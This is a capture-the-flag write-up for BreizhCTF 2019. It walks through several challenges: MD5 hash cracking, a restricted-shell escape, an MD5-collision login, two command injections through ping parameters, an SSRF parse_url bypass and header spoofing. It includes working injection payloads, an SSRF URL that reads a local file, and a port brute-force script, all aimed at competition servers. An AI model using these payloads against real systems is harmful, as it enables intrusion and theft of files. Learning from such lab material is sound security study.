BreizhCTF 2k19 - Write-ups

Information#

CTF#

  • Name : BreizhCTF 2k19
  • Website : www.breizhctf.com
  • Type : On-site - France - Rennes
  • Format : Jeopardy

25 - Hash breaker - Trivia#

Break theses hashes to get some cash !

We have a bunch of hashes:

92eb5ffee6ae2fec3ad71c777531578f
fbade9e36a3f36d3d676c1b808451dd7
2510c39011c5be704182423e3a695e91
4a8a08f09d37b73795649038408b5f33
e358efa489f58062f10dd7316b65649e
8fa14cdd754f91cc6554c9e71929cce7
f95b70fdc3088560732a5ac135644506
d95679752134a2d9eb61dbd7b91c4bcc
7b8b965ad4bca0e41ab51de7b31363a1
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
4a8a08f09d37b73795649038408b5f33
2510c39011c5be704182423e3a695e91
0cc175b9c0f1b6a831c399e269772661
4b43b0aee35624cd95b910189b3dc231
b14a7b8059d9c055954c92674ce60032
83878c91171338902e0fe0fb97a8c47a
0cc175b9c0f1b6a831c399e269772661
03c7c0ace395d80182db07ae2c30f034
03c7c0ace395d80182db07ae2c30f034
f1290186a5d0b1ceab27f4e77c0c5d68
d95679752134a2d9eb61dbd7b91c4bcc
4b43b0aee35624cd95b910189b3dc231
8277e0910d750195b448797616e091ad
b14a7b8059d9c055954c92674ce60032
d95679752134a2d9eb61dbd7b91c4bcc
2510c39011c5be704182423e3a695e91
b14a7b8059d9c055954c92674ce60032
b2f5ff47436671b6e533d8dc3614845d
d95679752134a2d9eb61dbd7b91c4bcc
8277e0910d750195b448797616e091ad
cbb184dd8e05c9709e5dcaedaa0495cf

Let's identify what kind of hash it can be:

$ hashid fbade9e36a3f36d3d676c1b808451dd7
Analyzing 'fbade9e36a3f36d3d676c1b808451dd7'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x

It must be MD5.

Let's go on https://hashkiller.co.uk/Cracker/MD5

92eb5ffee6ae2fec3ad71c777531578f MD5 b
fbade9e36a3f36d3d676c1b808451dd7 MD5 z
2510c39011c5be704182423e3a695e91 MD5 h
4a8a08f09d37b73795649038408b5f33 MD5 c
e358efa489f58062f10dd7316b65649e MD5 t
8fa14cdd754f91cc6554c9e71929cce7 MD5 f
f95b70fdc3088560732a5ac135644506 MD5 {
d95679752134a2d9eb61dbd7b91c4bcc MD5 o
7b8b965ad4bca0e41ab51de7b31363a1 MD5 n
e1671797c52e15f763380b45e841ec32 MD5 e
b14a7b8059d9c055954c92674ce60032 MD5 _
4a8a08f09d37b73795649038408b5f33 MD5 c
2510c39011c5be704182423e3a695e91 MD5 h
0cc175b9c0f1b6a831c399e269772661 MD5 a
4b43b0aee35624cd95b910189b3dc231 MD5 r
b14a7b8059d9c055954c92674ce60032 MD5 _
83878c91171338902e0fe0fb97a8c47a MD5 p
0cc175b9c0f1b6a831c399e269772661 MD5 a
03c7c0ace395d80182db07ae2c30f034 MD5 s
03c7c0ace395d80182db07ae2c30f034 MD5 s
f1290186a5d0b1ceab27f4e77c0c5d68 MD5 w
d95679752134a2d9eb61dbd7b91c4bcc MD5 o
4b43b0aee35624cd95b910189b3dc231 MD5 r
8277e0910d750195b448797616e091ad MD5 d
b14a7b8059d9c055954c92674ce60032 MD5 _
d95679752134a2d9eb61dbd7b91c4bcc MD5 o
2510c39011c5be704182423e3a695e91 MD5 h
b14a7b8059d9c055954c92674ce60032 MD5 _
b2f5ff47436671b6e533d8dc3614845d MD5 g
d95679752134a2d9eb61dbd7b91c4bcc MD5 o
8277e0910d750195b448797616e091ad MD5 d
cbb184dd8e05c9709e5dcaedaa0495cf MD5 }

There was one hash for one char, the flag is bzhctf{one_char_password_oh_god}.

100 - Saxxybox - Jail#

IP : ctf.bzh Port : 50002

It seems about escaping rbash (restricted bash).

$ nc 10.50.254.254 50002
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
$ export
export HOME='/home/saxxybox'
export HOSTNAME='c605e5de55b1'
export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
export PWD='/home/saxxybox'
export SOCAT_PEERADDR='10.0.1.254'
export SOCAT_PEERPORT='48002'
export SOCAT_PID='104'
export SOCAT_PPID='1'
export SOCAT_SOCKADDR='172.17.0.16'
export SOCAT_SOCKPORT='50002'
export SOCAT_VERSION='1.7.3.1'
$ tee < flag.txt
You've managed to read me! Well done!

Ok, so here's the flag: BREIZHCTF{l1nvx_H4s_S0m3_N1ce_N_1ncr3d1Bl3_Stvffz}

Way too easy.

100 - WhyIsMD5StillUsed - Misc#

URL : https://ctf.bzh:41000

<!--
FLAG if ((md5(usr) === md5(pwd)) AND (usr != pwd)) else GTFO
-->

It's about using a real MD5 collision because we have a strict comparison, not about type juggling like for loose comparison.

I didn't found any string MD5 collision, only files like PDF but also some 128 bytes payload: https://www.mathstat.dal.ca/~selinger/md5collision/

So let's URL-encode then to be able to use them in a HTTP request.

POST / HTTP/1.1
Host: 10.50.254.254:41000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.50.254.254:41000/
Content-Type: application/x-www-form-urlencoded
Content-Length: 777
Connection: close
Cookie: session=23a9bc5e-6a2f-41fa-9a8d-4926433a5c62
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

usr=%d1%31%dd%02%c5%e6%ee%c4%69%3d%9a%06%98%af%f9%5c%2f%ca%b5%87%12%46%7e%ab%40%04%58%3e%b8%fb%7f%89%55%ad%34%06%09%f4%b3%02%83%e4%88%83%25%71%41%5a%08%51%25%e8%f7%cd%c9%9f%d9%1d%bd%f2%80%37%3c%5b%d8%82%3e%31%56%34%8f%5b%ae%6d%ac%d4%36%c9%19%c6%dd%53%e2%b4%87%da%03%fd%02%39%63%06%d2%48%cd%a0%e9%9f%33%42%0f%57%7e%e8%ce%54%b6%70%80%a8%0d%1e%c6%98%21%bc%b6%a8%83%93%96%f9%65%2b%6f%f7%2a%70&pwd=%d1%31%dd%02%c5%e6%ee%c4%69%3d%9a%06%98%af%f9%5c%2f%ca%b5%07%12%46%7e%ab%40%04%58%3e%b8%fb%7f%89%55%ad%34%06%09%f4%b3%02%83%e4%88%83%25%f1%41%5a%08%51%25%e8%f7%cd%c9%9f%d9%1d%bd%72%80%37%3c%5b%d8%82%3e%31%56%34%8f%5b%ae%6d%ac%d4%36%c9%19%c6%dd%53%e2%34%87%da%03%fd%02%39%63%06%d2%48%cd%a0%e9%9f%33%42%0f%57%7e%e8%ce%54%b6%70%80%28%0d%1e%c6%98%21%bc%b6%a8%83%93%96%f9%65%ab%6f%f7%2a%70

And here is the response:

HTTP/1.1 200 OK
Date: Fri, 12 Apr 2019 22:49:09 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Content-Length: 755
Connection: close
Content-Type: text/html; charset=UTF-8

bzhctf{TEUTEUTEU_what_havent_you_yet_understand?!STOP_USING_MD5!!!}
<!DOCTYPE html>
<html>
  <head>
    <title>Some Still Used MD5 because it is da most popopoworfoul encryption algorithm they said!</title>
  </head>
  <body>
    <center>
      <form method="POST">
        <b>username</b> : <input type="usr" name="usr">
        <b>password</b> : <input type="pwd" name="pwd">
        <input type="submit">
      </form>
    </center>
  </body>
</html>

100 - Ziziping - Web#

URL : http://ctf.bzh:25555

We can do a command injection in the parameter passed to the ping command thanks to a perl open argument injection using a pipe |.

Then we can append some commands but we can use spaces. Hopefully I already know about tee<flag.tx that I also used for the previous rbash escape.

The request looks like this:

GET /ping?host=ctf.bzh&count=1|id;ls;tee<flag.txt HTTP/1.1
Host: ctf.bzh:25555
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ctf.bzh:25555/
Connection: close
Cookie: session=ebeb0f1b-43d7-475e-b1c6-2f1f1383c429
Upgrade-Insecure-Requests: 1

And the response:

HTTP/1.1 200 OK
Content-Length: 298
Content-Type: text/html
Connection: close

<html>
<head>
<title>The most awesome ping results</title>
</head>
<body>


Error: 0<br>

Results: <br>

<pre>
uid=1000(user) gid=1000(user) groups=1000(user)
cat
flag.txt
index.pl
test
test.txt
bzhctf{backticks_are_3vil_think_about_use_them;)}

</pre>

</body>
</html>

 <!-- use Perl or die; -->

50 - Hecoucou - Web#

URL : http://ctf.bzh:20005

By seeing the computed HTML source we found a hint to let us see the source code.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Hé coucou</title>
  </head>
  <body>
    <!-- exec.php?view_source-->
    <center>
      Tu veux faire coucou à qui?: <br>
      <input id="toctoctoc" type="text"/>
      <input  type="button" value="ping" onclick="ping()"/>
      <div id="res"></div>
    </center>
      
    <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.js"></script>
    <script>
      function ping(){
        $.post("exec.php",{toctoctoc:$("#toctoctoc").val()},function(result){$("#res").html(result);});
      }
    </script>
  </body>
</html>

http://ctf.bzh:20005/exec.php?view_source

<?php

    if(isset($_GET['view_source']))
        show_source(__FILE__);
        $kiela = $_REQUEST[ 'toctoctoc' ];
        $kiela=trim($kiela);
        $bl = array('&'  => '',    ';' => '',    '|' => '',    '-'  => '',    '$'  => '',    '('  => '',    ')'  => '',    '`'  => '',    '||' => '' );
        $kiela = str_replace( array_keys( $bl ), $bl, $kiela );
        $cmd = system( 'ping  -c 1 ' . $kiela );
        echo  "<pre>{$cmd}</pre>";
?>

All special characters allowing us to do a command injection are filtered except for like feed (LF) 0a. We also need to pass a valid IP address so the ping won't fail because we can only see stdout not stderr.

Now let's send the request:

POST /exec.php HTTP/1.1
Host: ctf.bzh:20005
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=ebeb0f1b-43d7-475e-b1c6-2f1f1383c429
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 08 Apr 2019 21:08:08 GMT
If-None-Match: "22d-5860b3bb47e00-gzip"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

toctoctoc=127.0.0.1%0als%0acat%20flag.php

The response:

HTTP/1.1 200 OK
Date: Sat, 13 Apr 2019 00:22:36 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 180

exec.php
flag.php
index.html
<?php
$flag="BREIZHCTF{Try_Th15_K1nd_0f_Tr1cKs_ABOUT_C0mm4nd_3x3cu7i0n}";<pre>$flag="BREIZHCTF{Try_Th15_K1nd_0f_Tr1cKs_ABOUT_C0mm4nd_3x3cu7i0n}";</pre>

125 - SSRF The beginning - Web#

URL : http://ctf.bzh:23500

We directly have the source code preview:

 <?php

# Can u help us retreive the flag which is stored at galettesaucisse.jtm.breizhctf.com ???


show_source(__FILE__);


if(isset($_GET['u'])){
    $u = parse_url($_GET['u']);
    if(!$u){
        die('Cant reach ur shit dude!!! ');}
    if(substr($_GET['u'], strlen('http://'), strlen('galettesaucisse.jtm.breizhctf.com')) === 'galettesaucisse.jtm.breizhctf.com'){
        die('Dont try to hack me n00b');}
    if($u['host'] === 'galettesaucisse.jtm.breizhctf.com'){
        $ch = curl_init();
        curl_setopt ($ch, CURLOPT_URL, $_GET['u']);
        curl_exec($ch);
        curl_close($ch);}
    else{die('Show me ur skills bae!');}}
irb(main):001:0> 'http://'.size
=> 7
irb(main):003:0> 'galettesaucisse.jtm.breizhctf.com'.size
=> 33

So we need $_GET['u'][7..33] != 'galettesaucisse.jtm.breizhctf.com' (pseudo-code) but also $u['host'] === 'galettesaucisse.jtm.breizhctf.com' (computed by parse_url()) only to bypass the filters, then we will be able to make server side request the way we like.

If you don't already hear about it you can search for some famous bypass using something amazing: a search engine!

Let's search for PHP parse_url curl SSRF bypass.

The 2nd link is A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! wrote by the excellent Orange Tsai and showed at the Black Hat USA 2017. I really invite your to read it (and to force you to read it I won't explain how the following payload works).

GET /?u=file://user@127.0.0.1:80@galettesaucisse.jtm.breizhctf.com/flag HTTP/1.1
Host: ctf.bzh:23500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=ebeb0f1b-43d7-475e-b1c6-2f1f1383c429
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

The response:

HTTP/1.1 200 OK
Date: Sat, 13 Apr 2019 01:38:49 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 3922
Connection: close
Content-Type: text/html; charset=UTF-8

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br /></span><span style="color: #FF8000">#&nbsp;Can&nbsp;u&nbsp;help&nbsp;us&nbsp;retreive&nbsp;the&nbsp;flag&nbsp;which&nbsp;is&nbsp;stored&nbsp;at&nbsp;galettesaucisse.jtm.breizhctf.com&nbsp;???<br /><br /><br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /><br /><br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'u'</span><span style="color: #007700">])){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$u&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parse_url</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'u'</span><span style="color: #007700">]);<br />&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">$u</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">'Cant&nbsp;reach&nbsp;ur&nbsp;shit&nbsp;dude!!!&nbsp;'</span><span style="color: #007700">);}<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">substr</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'u'</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #DD0000">'http://'</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #DD0000">'galettesaucisse.jtm.breizhctf.com'</span><span style="color: #007700">))&nbsp;===&nbsp;</span><span style="color: #DD0000">'galettesaucisse.jtm.breizhctf.com'</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DD0000">'Dont&nbsp;try&nbsp;to&nbsp;hack&nbsp;me&nbsp;n00b'</span><span style="color: #007700">);}<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$u</span><span style="color: #007700">[</span><span style="color: #DD0000">'host'</span><span style="color: #007700">]&nbsp;===&nbsp;</span><span style="color: #DD0000">'galettesaucisse.jtm.breizhctf.com'</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$ch&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">curl_init</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">curl_setopt&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">$ch</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CURLOPT_URL</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'u'</span><span style="color: #007700">]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">curl_exec</span><span style="color: #007700">(</span><span style="color: #0000BB">$ch</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">curl_close</span><span style="color: #007700">(</span><span style="color: #0000BB">$ch</span><span style="color: #007700">);}<br />&nbsp;&nbsp;&nbsp;&nbsp;else{die(</span><span style="color: #DD0000">'Show&nbsp;me&nbsp;ur&nbsp;skills&nbsp;bae!'</span><span style="color: #007700">);}}</span>
</span>
</code>bzhctf{you_know_know_some_tricks_to_began_your_ninja_SSRF_techniques}

50 - SecureuhAccess - Web#

URL : http://ctf.bzh:23000

We are told only a specific user agent can access the page (even with a typo to browser):

$ curl http://ctf.bzh:23000/
You must choose [RennesB0t] to view this page! Other web broswer will be denied!

Then change to User-Agent: RennesB0t.

And we have:

Go away! Attacker! This page is only for local client!

Add X-Forwarded-For: 127.0.0.1

Then we have:

Only port 41814 is allowed!

Challenge is broken, so we have to BF the local port because it is not always 41814.

#!/bin/bash

for i in {45000..55000}
do
  data=$(curl -X 'GET' -H 'Host: ctf.bzh:47000' -H 'User-Agent: RennesB0t' -H 'X-Forwarded-For: 127.0.0.1' --local-port $i -s http://ctf.bzh:23000/)
  if [ $data!='Only port 41814 is allowed!' ]
  then
    echo $data
  fi
done

bzhctf{th47_w4s_An_EZ_PIZI_0n3}

Share